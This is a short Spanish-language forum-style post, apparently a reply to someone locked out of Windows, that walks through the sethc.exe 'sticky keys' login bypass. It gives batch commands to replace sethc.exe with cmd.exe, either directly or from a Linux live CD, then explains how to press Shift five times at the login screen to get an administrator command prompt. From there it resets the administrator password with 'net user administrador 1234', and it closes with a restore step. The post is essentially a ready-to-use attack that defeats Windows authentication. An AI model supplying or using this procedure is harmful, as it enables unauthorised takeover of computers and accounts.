En caso de que puedas modificar el archivo "c:\windows\system32\sethc.exe" puedes usar el truco del cambiazo del sethc.exe por la cmd.exe.
Sino te funciona el ophcrack puedes usar un live cd (o usb) y entonces si que podrás cambiar el archivo por otro.
Por si no lo conoces te lo explico aqui abajo.
1-Creas un .bat con el siguiente código.
Copy "c:\windows\system32\sethc.exe" "c:\windows\system32\sethc.aaa"
Copy "c:\windows\system32\cmd.exe" "c:\windows\system32\sethc.exe"
2-Lo ejecutas como administrador, o haces lo mismo en modo live de linux.
3-Despues de ejecutar el script o bien de cambiar el archivo en modo live, entras en windows, y en la pantalla de bienvenida (donde colocas el usuario y contraseña) aprietas 5 veces shift.
4-Te saldrá una cmd con permisos de administrador. Solo tendrás que cambiar la contraseña del administrador y ya está.
Sería así: net user administrador 1234
Se te quedaría con la contraseña de 1234
5-Por si quieres dejar el sethc.exe como estaba haz lo mismo que antes, lo pasas a .bat y lo ejecutas con dos clicks.
Copy "c:\windows\system32\sethc.aaa" "c:\windows\system32\sethc.exe"
Espero que haya servido